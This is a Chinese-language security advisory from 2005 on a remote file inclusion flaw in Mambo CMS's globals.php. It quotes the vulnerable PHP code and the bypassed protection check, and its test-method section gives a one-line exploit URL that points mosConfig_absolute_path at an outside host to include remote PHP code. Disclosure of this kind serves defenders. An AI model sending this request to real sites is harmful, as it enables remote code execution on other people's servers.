Mambo globals.php远程文件包含漏洞
发布日期:2005-11-16
更新日期:2005-11-18
受影响系统:Mambo Mambo Site Server 4.0.14
Mambo Mambo Site Server 4.0.12 RC3
Mambo Mambo Site Server 4.0.12 RC2
Mambo Mambo Site Server 4.0.12 RC1
Mambo Mambo Site Server 4.0.12 BETA2
Mambo Mambo Site Server 4.0.12 BETA
Mambo Mambo Site Server 4.0.12
Mambo Mambo Site Server 4.0.11
Mambo Mambo Site Server 4.0.10
Mambo Mambo Site Server 4.0
描述:
BUGTRAQ ID:
15461
Mambo是功能强大的免费开放源码内容管理系统。
如果关闭了register_globals的话,则Mambo的globals.php中存在远程文件包含漏洞,成功利用这个漏洞的攻击者可以以Web server进程的权限执行任意远程PHP代码。
在globals.php中:
if (!ini_get('register_globals')) {
while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
while(list($key,$value)=@each($_SESSION)) $GLOBALS[$key]=$value;
foreach($_FILES as $key => $value){
$GLOBALS[$key]=$_FILES[$key]['tmp_name'];
foreach($value as $ext => $value2){
$key2 = $key . '_' . $ext;
$GLOBALS[$key2] = $value2;
}
}
}
mambo.php中保护实效:
if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Global variable hack attempted.' );
}
if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Post variable hack attempted.' );
}
<*来源:peter MC tachatte (
slythers@gmail.com)
链接:
http://archives.neohapsis.com/archives/fulldisclosure/2005-11/0520.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://www.enviedesexe.be/?建议:
厂商补丁:
Mambo
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://mamboforge.net/浏览次数:3165
严重程度:0(网友投票)